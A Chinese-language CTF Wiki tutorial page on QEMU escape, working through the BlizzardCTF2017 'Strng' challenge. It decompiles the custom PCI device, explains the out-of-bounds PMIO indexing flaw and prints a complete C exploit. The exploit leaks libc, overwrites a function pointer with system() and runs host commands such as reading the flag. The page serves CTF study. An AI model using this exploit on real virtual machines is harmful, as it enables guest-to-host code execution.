CTF Wiki
  • 简介
  • 如何使用 CTF Wiki
  • introduction
    • CTF 历史
    • CTF 竞赛模式简介
    • CTF 竞赛内容
    • 线下攻防经验小结
    • CGC 超级挑战赛
    • 学习资源
  • misc
    • 杂项简介
    • 取证隐写前置技术
    • 信息搜集技术
    • encode
      • 通信领域常用编码
      • 计算机相关的编码
      • 现实世界中常用的编码
    • picture
      • 图片分析简介
      • JPG
      • PNG
      • GIF
    • audio
      • 音频隐写
    • archive
      • RAR 格式
      • ZIP 格式
    • traffic
      • 流量包分析简介
      • 协议分析概述
        • Wireshark
        • DNS
        • HTTP
        • HTTPS
        • FTP
        • USB
        • WIFI
      • 数据提取
      • PCAP 文件修复
    • disk-memory
      • 磁盘内存分析
      • 题目
    • shellcode
    • other
      • pyc
  • web
    • Web 简介
    • XSS
    • php
      • PHP 代码审计
    • SQL 注入
      • sqlmap绕过脚本
      • 各版本数据库语句备忘
    • CSRF
    • SSRF
  • reverse
    • 软件逆向工程简介
    • identify-encode-encryption
      • 常见加密算法和编码识别
    • language
      • 简介
      • go
        • Golang 逆向入门
      • python
        • Python 逆向入门
      • rust
        • Rust 逆向入门
    • maze
      • 迷宫问题
    • obfuscate
      • 控制流平坦化
      • 花指令
      • movofuscator
      • Self-Modified Code
    • vm
      • 虚拟机分析
    • platform
      • linux
        • Detecting Breakpoints
        • Detecting debugging
        • False Disassembly
        • LD_PRELOAD
      • windows
        • anti-debug
          • CheckRemoteDebuggerPresent
          • 反调试技术例题
          • Heap Flags
          • Interrupt 3
          • IsDebuggerPresent
          • 花指令
          • NtGlobalFlag
          • NtQueryInformationProcess
          • The Heap
          • Thread Local Storage(TLS)
          • ZwSetInformationThread
        • unpack
          • 一步到达 OEP 法
          • ESP 定律法
          • DUMP 及 IAT 重建
          • 最后一次异常法
          • 手动查找 IAT 并使用 ImportREC 重建
          • 内存镜像法
          • 保护壳简介
          • SFX 法
          • 单步跟踪法
          • DLL 文件脱壳
    • tools
      • constraint
        • z3
      • debug
        • gdb
        • ollydbg
        • windbg
        • x64dbg/x32dbg
      • simulate-execution
        • angr
        • Unicorn Engine
      • static-analyze
        • dnspy
        • Ghidra
        • IDA Pro
        • jadx
  • crypto
    • 密码学简介
    • asymmetric
      • 介绍
      • discrete-log
        • 离散对数
        • ECC
        • ElGamal
      • knapsack
        • 背包加密
      • lattice
        • CVP
        • 基本介绍
        • 格基规约算法
        • 格概述
      • rsa
        • RSA 选择明密文攻击
        • RSA 复杂题目
        • Coppersmith 相关攻击
        • 公钥指数相关攻击
        • 模数相关攻击
        • Bleichenbacher's attack
        • RSA 侧信道攻击
        • RSA 介绍
        • d_attacks
          • 私钥 d 相关攻击
          • 扩展维纳攻击
    • attack-summary
      • 简介
      • 比特攻击
      • 中间相遇攻击 - MITM
    • basic
      • 基础数学知识
    • blockcipher
      • AES
      • ARX: Add-Rotate-Xor
      • DES
      • IDEA
      • 块加密
      • Simon and Speck Block Ciphers
      • mode
        • CBC
        • CFB
        • CTR
        • ECB
        • 分组模式
        • OFB
        • Padding Oracle Attack
        • 填充方式
        • PCBC
    • certificate
      • 证书格式
    • classical
      • 古典密码简介
      • 单表代换加密
      • 其它类型加密
      • 多表代换加密
      • 总结
    • hash
      • Hash Attack
      • 综合题目
      • Fowler–Noll–Vo hash function
      • 哈希函数
      • MD5
      • SHA1
    • signature
      • DSA
      • ElGamal
      • 数字签名
      • RSA 数字签名
    • streamcipher
      • 流密码
      • fsr
        • 反馈移位寄存器
        • 线性反馈移位寄存器 - LFSR
        • 非线性反馈移位寄存器
      • lcg
        • 题目
        • 线性同余生成器
      • prng
        • 密码安全伪随机数生成器
        • 伪随机数生成器介绍
        • 题目
      • special
        • RC4
  • pwn
    • MacOS
    • misc-os
    • 概述
      • stackoverflow
        • 执行 Shellcode
        • 栈介绍
        • 栈溢出原理
    • browser
      • Chrome
      • Firefox
      • Safari
    • hardware
      • 简介
        • side-channel
          • prefetch side-channel attack
      • trusted-computing
        • 可信执行环境
    • linux
      • kernel-mode
        • 基础知识
        • Introduction
          • DoS
          • Information Disclosure
          • Introduction
            • Change Others
            • Change Self
        • Introduction
          • Introduction
            • 信息泄漏
            • Misc
          • Introduction
            • Kernel Stack Canary
          • Introduction
            • inner-kernel
              • 内部隔离
            • Introduction
              • KPTI - Kernel Page Table Isolation
              • 用户代码不可执行
              • 用户数据不可访问
          • Introduction
            • FGKASLR
            • KASLR
        • Introduction
          • 编译内核驱动
          • 内核下载与编译
          • Qemu 模拟环境
          • Real Device
        • exploitation
          • heap
            • 内核堆概述
            • buddy
              • Cross-Cache Overflow & Page-level Heap Fengshui
              • Page-level UAF
            • slub
              • freelist 劫持
              • Heap Spray
              • kernel UAF
          • race
            • Double Fetch
            • userfaultfd 的使用
          • rop
            • bypass-smep
            • ret2dir
            • 利用 pt_regs 构造通用内核 ROP
            • ret2usr(已过时)
            • Kernel ROP
          • tricks
            • 在内存中直接搜索 flag
      • user-mode
        • environment
        • fmtstr
          • 检测
          • 例子
          • 利用
          • 原理介绍
        • integeroverflow
          • 整数溢出
        • io-file
          • glibc 2.24下 IO_FILE 的利用
          • 伪造vtable劫持程序流程
          • FSOP
          • FILE结构
        • mitigation
          • Canary
        • race-condition
          • introduction
          • 题目
        • summary
          • 获取地址
          • shell 获取小结
          • 控制程序执行流
        • Type Confusion
        • Uninitialized Memory
        • heap
          • mallocng
          • ptmalloc2
            • Chunk Extend and Overlapping
            • Fastbin Attack
            • 堆概述
            • 堆相关数据结构
            • 堆溢出
            • House Of Einherjar
            • House Of Force
            • House of Lore
            • House of Orange
            • House of Pig
            • House of Rabbit
            • House of Roman
            • 堆利用
            • Large Bin Attack
            • 通过堆进行信息泄漏
            • 堆中的 Off-By-One
            • 堆中的检查
            • tcache makes heap exploitation easy again
            • Unlink
            • Unsorted Bin Attack
            • Use After Free
            • implementation
              • 基础操作
              • 释放内存块
              • 堆初始化
              • malloc_state 相关函数
              • 申请内存块
              • 测试支持
              • 深入理解堆的实现
              • tcache
        • stackoverflow
          • arm
            • 环境搭建
            • Arm ROP
          • mips
            • mips - ROP
          • RISC-V
          • x86
            • 基本 ROP
            • 花式栈溢出技巧
            • 中级ROP
            • 栈介绍
            • 栈溢出原理
            • advanced-rop
              • 高级 ROP
              • ret2dlresolve
              • ret2VDSO
              • SROP
    • sandbox
      • Chroot
      • Docker
      • Namespace
      • python
        • Python 沙盒
      • seccomp
        • C 沙盒逃逸
      • Shell Sandbox
    • virtualization
      • basic-knowledge
        • 虚拟化技术简介
        • CPU 虚拟化
        • IO 虚拟化
        • 内存虚拟化
      • parallels
        • Parallels
      • VirtualBox
      • VMWare
      • qemu
        • basic-knowledge
          • QEMU 设备模拟
          • QEMU 内存管理
        • environment
          • 编写 QEMU 模拟设备
          • QEMU 下载与编译
        • exploitation
          • QEMU 逃逸入门
          • 越界读写
  • Android 安全
    • basic_develop
      • Android 开发基础
    • Android 应用运行机制简述
      • Android 中 Java 层的运行机制
        • dex
          • DEX文件
          • ODEX文件
        • smali
          • Smali
      • native_layer
        • so 介绍
    • basic_reverse
      • Android 关键代码定位
      • Android 逆向基本介绍
      • dynamic
        • Android 动态调试
        • IDA 动态调试原生层程序
        • IDA 动态调试 smali 代码
      • static
        • 静态分析综合题目
        • 静态分析 java 层例子
        • 静态分析原生层程序
  • blockchain
    • Blockchain Security Challenges
    • Blockchain Security Overview
    • ethereum
      • Ethereum Basics
      • Ethereum Overview
      • Ethereum Opcodes
      • 学习资源
      • Smart Contract Reverse
      • Function Selector and Argument Encoding
      • Ethereum Storage
      • attacks
        • Airdrop Hunting
        • Arbitrary Writing
        • CREATE2
        • Delegatecall
        • Introduction
        • Jump Oriented Programming
        • Integer Overflow and Underflow
        • Randomness
        • Re-Entrancy
        • Short Address Attack
        • Uninitialized Storage Pointer
    • publicblockchain
      • Public Blockchain Security Overview
      • Blockchain Weaknesses
  • assembly
    • ARM
    • MIPS
    • x86_x64
  • executable
    • elf
      • 程序加载
      • 程序执行流程
      • linking
        • 程序链接
        • Symbol Reslove
      • structure
        • ELF 文件
        • Code Section
        • Data Related Sections
        • Dynamic Sections
        • Misc Sections
        • Sections
        • String Sections
        • .symtab: Symbol Table
    • pe
      • PE 文件格式
      • 导出表
      • 导入表
      • 基址重定位表
  • ics
    • ICS_CTF 竞赛
    • ICS_CTF 发现
    • ICS_CTF 利用
    • ICS_CTF 学习资源
  • contribute
    • 贡献之前
    • 基本贡献方式
    • 贡献文档要求
    • 翻译
  • write up
    • 浙江工业大学CTF赛事
      • 2023第四届“安恒杯”CTF新生赛题解
Powered by GitBook
On this page
  • 例题:BlizzardCTF2017 - Strng
  • 题目分析
  • 漏洞利用
  • 交互方式
  • REFERENCE
  1. pwn
  2. virtualization
  3. qemu
  4. exploitation

QEMU 逃逸入门

PreviousexploitationNext越界读写

Last updated 1 year ago

QEMU 逃逸本质上和用户态的 Pwn 题没有太大区别,只不过呈现形式略有不同。题目本身通常以一个 QEMU 模拟设备的形式进行呈现,该设备通常会实现一些功能并提供用户可操纵的 MMIO/PMIO 接口。选手通常需要编写一个与这些接口进行交互的程序并传到远程主机上运行以完成利用(类似于内核 Pwn)。

下面我们通过一道例题来了解 QEMU Pwn 题目的基本做法。

例题:BlizzardCTF2017 - Strng

注:题目环境可以在 进行下载,登入用户名为 ubuntu,密码为 passw0rd。

题目分析

首先查看启动脚本,可以发现其通过 -device strng 参数载入了一个自定义设备 strng。

./qemu-system-x86_64 \
    -m 1G \
    -device strng \
    -hda my-disk.img \
    -hdb my-seed.img \
    -nographic \
    -L pc-bios/ \
    -enable-kvm \
    -device e1000,netdev=net0 \
    -netdev user,id=net0,hostfwd=tcp::5555-:22

直接将 QEMU 拖入 IDA 进行分析,首先通过字符串窗口找到 "strng" ,从而找到该设备的初始化函数:

可以看到该设备分别注册了 MMIO 与 PMIO 功能接口,并且在一些位置上放上了几个函数指针:

void __fastcall strng_instance_init(Object_0 *obj)
{
  Object_0 *v1; // rax

  v1 = object_dynamic_cast_assert(obj, "strng", "/home/rcvalle/qemu/hw/misc/strng.c", 145, "strng_instance_init");
  *(_QWORD *)&v1[76].ref = &srand;
  v1[76].parent = (Object_0 *)&rand;
  v1[77].class = (ObjectClass_0 *)&rand_r;
}

void __fastcall pci_strng_realize(PCIDevice_0 *pdev, Error_0 **errp)
{
  memory_region_init_io(
    (MemoryRegion_0 *)&pdev[1],
    &pdev->qdev.parent_obj,
    &strng_mmio_ops,
    pdev,
    "strng-mmio",
    0x100uLL);
  pci_register_bar(pdev, 0, 0, (MemoryRegion_0 *)&pdev[1]);
  memory_region_init_io(
    (MemoryRegion_0 *)&pdev[1].io_regions[0].size,
    &pdev->qdev.parent_obj,
    &strng_pmio_ops,
    pdev,
    "strng-pmio",
    8uLL);
  pci_register_bar(pdev, 1, 1u, (MemoryRegion_0 *)&pdev[1].io_regions[0].size);
}

IDA 反编译出来的放置函数指针的位置怪怪的,这里直接看汇编源码:

.text:000000000041033E                 call    object_dynamic_cast_assert
.text:0000000000410343 strng = rax                             ; STRNGState *
.text:0000000000410343                 mov     rdx, cs:srand_ptr_0
.text:000000000041034A                 mov     [strng+0BF8h], rdx
.text:0000000000410351                 mov     rdx, cs:rand_ptr_0
.text:0000000000410358                 mov     [strng+0C00h], rdx
.text:000000000041035F                 mov     rdx, cs:rand_r_ptr
.text:0000000000410366                 mov     [strng+0C08h], rdx

接下来我们跳转到函数表中对应的函数进行分析,在 (u32*)opaque[701] 处存在一个 unsigned int 数组(这里我们定义为 opaque->buf),MMIO 的 read 主要是简单的读取 opaque->buf[(addr >> 2)] 上的 4 字节内容,看起来似乎可以存在一个越界读取,但是在 QEMU 内部会检查 MR 访问范围(addr)是否超过定义的内存范围,所以其实是没法进行越界读取的:

opaque 参数其实就是设备加载时动态分配的 PCIDevice 类的一个自定义子类。

uint64_t __fastcall strng_mmio_read(void *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax

  result = -1LL;
  if ( size == 4 && (addr & 3) == 0 )
    result = *((unsigned int *)opaque + (addr >> 2) + 701);
  return result;
}

MMIO 的 write 功能则根据写入的地址不同提供了不同的功能(有点乱):

  • 地址为 0:将 (u64*)opaque[383] 处数据作为函数指针进行调用,参数为传入的值

  • 地址为 1 << 2:将 (u64*)opaque[384] 处数据作为函数指针进行调用,并将结果写入 opaque->buf[3]

  • 地址为 其他值 << 2:在 opaque->buf[(addr>>2)] 处写入传入的值

    • 若地址为 3 << 2,则会在此之前将 (u64*)opaque[385] 处数据作为函数指针进行调用,参数为 &((char*)opaque[2812]) ,并往 opaque->buf[3] 写入传入的值

void __fastcall strng_mmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  hwaddr v4; // rsi
  int v5; // eax
  int vala; // [rsp+8h] [rbp-30h]

  if ( size == 4 && (addr & 3) == 0 )
  {
    v4 = addr >> 2;
    if ( (_DWORD)v4 == 1 )
    {
      *((_DWORD *)opaque + 702) = (*((__int64 (__fastcall **)(void *, hwaddr, uint64_t))opaque + 384))(opaque, v4, val);
    }
    else if ( (_DWORD)v4 )
    {
      if ( (_DWORD)v4 == 3 )
      {
        vala = val;
        v5 = (*((__int64 (__fastcall **)(char *))opaque + 385))((char *)opaque + 2812);
        LODWORD(val) = vala;
        *((_DWORD *)opaque + 704) = v5;
      }
      *((_DWORD *)opaque + (unsigned int)v4 + 701) = val;
    }
    else
    {
      (*((void (__fastcall **)(_QWORD))opaque + 383))((unsigned int)val);
    }
  }
}

PMIO 的 read 功能则是进行数据读取:

  • 若 addr == 0 ,则返回 (unsigned int *)opaque[700] 的值。

  • 若 addr == 4 ,则获取 (unsigned int *)opaque[700] 的值 v4,若低 2 位为 0 则返回 opaque->buf[(v4 >> 2)] 上数据。

若我们能够控制 (unsigned int *)opaque[700] 的值,则可以直接完成一个越界读。

uint64_t __fastcall strng_pmio_read(void *opaque, hwaddr addr, unsigned int size)
{
  uint64_t result; // rax
  unsigned int v4; // edx

  result = -1LL;
  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        v4 = *((_DWORD *)opaque + 700);
        if ( (v4 & 3) == 0 )
          result = *((unsigned int *)opaque + (v4 >> 2) + 701);
      }
    }
    else
    {
      result = *((unsigned int *)opaque + 700);
    }
  }
  return result;
}

PMIO 的 write 功能定义如下:

  • 若 addr == 0,则将传入的值写入 (unsigned int *)opaque[700] ,因此结合 PMIO read 我们便可以完成越界读。

  • 若 addr == 4,则获取 (unsigned int *)opaque[700] 的值 v4,若低 2 位为 0 则取 v5 = v4 >>2:

    • 若 v5 == 1,则调用 (u64*)opaque[384] 处函数指针,返回值写入 opaque->buf[1],参数见代码

    • 若 v5 == 3,则调用 (u64*)opaque[385] 处函数指针,返回值写入 opaque->buf[3],参数见代码

    • 若 v5 != 0,则将传入的值写入 opaque->buf[v5]

    • 若 v5 == 1,则调用 (u64*)opaque[383] 处函数指针,参数为我们传入的值

void __fastcall strng_pmio_write(void *opaque, hwaddr addr, uint64_t val, unsigned int size)
{
  unsigned int v4; // eax
  __int64 v5; // rax

  if ( size == 4 )
  {
    if ( addr )
    {
      if ( addr == 4 )
      {
        v4 = *((_DWORD *)opaque + 700);
        if ( (v4 & 3) == 0 )
        {
          v5 = v4 >> 2;
          if ( (_DWORD)v5 == 1 )
          {
            *((_DWORD *)opaque + 702) = (*((__int64 (__fastcall **)(void *, __int64, uint64_t))opaque + 384))(
                                          opaque,
                                          4LL,
                                          val);
          }
          else if ( (_DWORD)v5 )
          {
            if ( (_DWORD)v5 == 3 )
              *((_DWORD *)opaque + 704) = (*((__int64 (__fastcall **)(char *, __int64, uint64_t))opaque + 385))(
                                            (char *)opaque + 2812,
                                            4LL,
                                            val);
            else
              *((_DWORD *)opaque + v5 + 701) = val;
          }
          else
          {
            (*((void (__fastcall **)(_QWORD))opaque + 383))((unsigned int)val);
          }
        }
      }
    }
    else
    {
      *((_DWORD *)opaque + 700) = val;
    }
  }
}

漏洞利用

由于 PMIO read 功能的读取地址由 (unsigned int *)opaque[700] 决定,而该值可以通过PMIO write 写入 addr == 0 处进行修改,由于题目一开始便在 opaque 靠后的放置了一些函数指针,因此我们可以通过读取这些函数指针泄露 libc 基址。

同样地,当 addr == 4 时,PMIO write 会向指定地址 + 偏移处写入数据,而该偏移值为我们可控的 (unsigned int *)opaque[700],因此我们可以非常方便地劫持 opaque 上的函数指针,而这些函数指针又可以通过 MMIO write 与 PMIO write 进行触发,因此不难想到的是我们可以通过劫持这些函数指针来完成控制流劫持。

当 (unsigned int *)opaque[700] == 3 时,调用函数指针会传入一个 opaque 上地址作为第一个参数,而该处数据同样是我们可控的,因此我们可以在该处先写入字符串后再劫持函数指针为 system() 后直接调用即可完成 Host 上的任意命令执行。

交互方式

QEMU pwn 题会提供给我们一个 local Linux 环境,通常都有着 root 权限(除了一些套娃题目会要求选手先完成提权),通常我们我们需要使用 C 编写 exp,将其进行静态编译后传输到远程运行。有的题目也会提供本地编译环境(例如本题),这样我们便只需要传输 exp 的源代码到远程再编译运行即可。

首先说一下与题目进行交互的方式。QEMU pwn 的漏洞通常出现在一个自定义 PCI 设备中,我们可以通过 lspci 命令查看现有的 PCI 设备,在每个设备开头都可以看到形如 xx:yy.z 的十六进制编号,这个格式其实是 总线编号:设备编号.功能编号,当我们使用 lspci -v 查看 PCI 设备信息时,在总线编号前面的 4 位数字便是 PCI 域的编号。

通常我们可以看到一个未被识别的设备,这通常便是题目设备。这里我们可以看到 PMIO 地址为 0xc050,MMIO 地址(物理地址)为 0xfebf1000:

对于 PMIO 交互方式,我们可以先通过 iopl(3) 获取交互权限,接下来直接使用 in() 与 out() 系函数即可读写端口,需要注意的是端口地址应与读写长度对齐(例如读写 4 字节则端口地址需要对齐到 4),下面是一个例子:

void pmio_write(uint32_t port, uint32_t val)
{
    outl(val, port);
}

uint32_t pmio_read(uint32_t port)
{
    return inl(port);
}

int main(int argc, char **argv, char **envp)
{
    uint32_t  pmio_port = 0xc050;
    uint32_t  val;
    //...
    
    if (iopl(3) < 0) {
        errExit("failed to change i/o privilege! no root?");
    }

    /* This is just an example */
    val = pmio_read(pmio_port);
    pmio_write(pmio_port + 4, 0xdeadbeef)

MMIO 的交互方式则略有麻烦,因为 MMIO 本质上是直接读写对应的物理地址,不过我们可以通过 mmap() 映射 sysfs 下的资源文件来完成内存访问。以本题为例,通过 lspci 命令获取到的编号为 00:03.0,那么我们便可以通过 mmap() 映射 /sys/devices/pci0000:00/0000:00:03.0/resource0 文件直接完成 MMIO。类似于 PMIO,MMIO 的读写地址同样需要对齐到读写长度。下面是一个例子:

void mmio_write(uint32_t *addr, uint32_t val)
{
    *addr = val;
}

uint32_t mmio_read(uint32_t *addr)
{
    return *addr;
}

int main(int argc, char **argv, char **envp)
{
    uint64_t  mmio_addr;
    int   mmio_fd;
    long  val;
    //...
    mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0",
            O_RDWR | O_SYNC);
    if (mmio_fd < 0) {
        errExit("failed to open mmio file! wrong path or no root?");
    }

    mmio_addr = (uint64_t)
            mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_addr == MAP_FAILED) {
        errExit("failed to mmap mmio space!");
    }

    val = mmio_read(mmio_addr);
    mmio_write(mmio_addr + 4, 0xbeefdead);

注:我们也可以通过映射 /sys/devices/pci0000:00/0000:00:03.0/resource1 文件的形式来以内存读写的形式完成 PMIO。

完整 exp 如下,执行了 cat ./flag 与弹计算器的命令:

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <stdint.h>
#include <sys/io.h>

#define STRNG_MMIO_REGS 64
#define STRNG_MMIO_SIZE (STRNG_MMIO_REGS * sizeof(uint32_t))

#define STRNG_PMIO_ADDR 0
#define STRNG_PMIO_DATA 4
#define STRNG_PMIO_REGS STRNG_MMIO_REGS
#define STRNG_PMIO_SIZE 8

char calc_str[0x100] = ";cat ./flag;gnome-calculator";
char sh_str[0x100] = "/bin/sh";

void errExit(char * msg)
{
    printf("\033[31m\033[1m[x] Error: \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void mmio_write(uint32_t *addr, uint32_t val)
{
    *addr = val;
}

uint32_t mmio_read(uint32_t *addr)
{
    return *addr;
}

void pmio_write(uint32_t port, uint32_t val)
{
    outl(val, port);
}

uint32_t pmio_read(uint32_t port)
{
    return inl(port);
}

int main(int argc, char **argv, char **envp)
{
    uint64_t    mmio_addr;
    uint32_t    pmio_port = 0xc050;
    int         mmio_fd;
    uint32_t    srand_addr_low, srand_addr_high;
    uint64_t    srand_addr;
    uint64_t    libc_addr;
    uint64_t    system_addr;

    /*
     * initialization
     */
    mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0",
            O_RDWR | O_SYNC);
    if (mmio_fd < 0) {
        errExit("failed to open mmio file! wrong path or no root?");
    }
    
    if (iopl(3) < 0) {
        errExit("failed to change i/o privilege! no root?");
    }

    mmio_addr = (uint64_t)
            mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);
    if (mmio_addr == MAP_FAILED) {
        errExit("failed to mmap mmio space!");
    }

    /*
     * regs[3] is not writable, because for addr 3 the rand_r() will be called
     * so we fill some useless string there
     */
    for (int i = 0; i < 4; i++)
        mmio_write((uint32_t*)(mmio_addr + ((2 + i) << 2)), (uint32_t*)"aaaa");

    for (int i = 0; i < 10; i++)
        mmio_write((uint32_t*)(mmio_addr + ((6 + i) << 2)), ((uint32_t*)calc_str)[i]);

    /*
     * exploitation
     */
    
    /*
     * Stage.I - leaking libc addr
     * set the strng->addr by pmio_write to a oob val
     * so that we can make an oob read by pmio_read
     */
    puts("[*] Stage.I - leaking libc addr\n");

    pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 1) << 2);
    srand_addr_low = pmio_read(pmio_port + STRNG_PMIO_DATA);
    pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 2) << 2);
    srand_addr_high = pmio_read(pmio_port + STRNG_PMIO_DATA);

    srand_addr = srand_addr_high;
    srand_addr <<= 32;
    srand_addr += srand_addr_low;
    libc_addr = srand_addr - 0x460a0;
    system_addr = libc_addr + 0x50d60;

    printf("[+] get addr of srand: 0x%llx\n", srand_addr);
    printf("[+] libc addr: 0x%llx\n", libc_addr);
    printf("[+] system addr: 0x%llx\n", system_addr);

    /*
     * Stage.II - overwrite the rand_r ptr
     * set the strng->rand_r to system by oob write in pmio
     */
    puts("\n[*] Stage.II - overwrite the rand_r ptr\n");

    pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 5) << 2);
    pmio_write(pmio_port + STRNG_PMIO_DATA, (uint32_t) system_addr);
    pmio_write(pmio_port + STRNG_PMIO_ADDR, (STRNG_MMIO_REGS + 6) << 2);
    pmio_write(pmio_port + STRNG_PMIO_DATA, (uint32_t) (system_addr >> 32));

    puts("[+] write done!");

    /*
     * Stage.III - control flow hijack!
     * call the strng->rand_r by pmio_write and hijack the control flow!
     */
    puts("\n[*] Stage.III - control flow hijack\n");

    puts("[*] trigger the strng->rand_r()...");
    pmio_write(pmio_port + STRNG_PMIO_ADDR, 3 << 2);
    pmio_write(pmio_port + STRNG_PMIO_DATA, 0xdeadbeef);

}

REFERENCE

Github
qemu pwn-Blizzard CTF 2017 Strng writeup
【HARDWARE.0x00】PCI 设备简易食用手册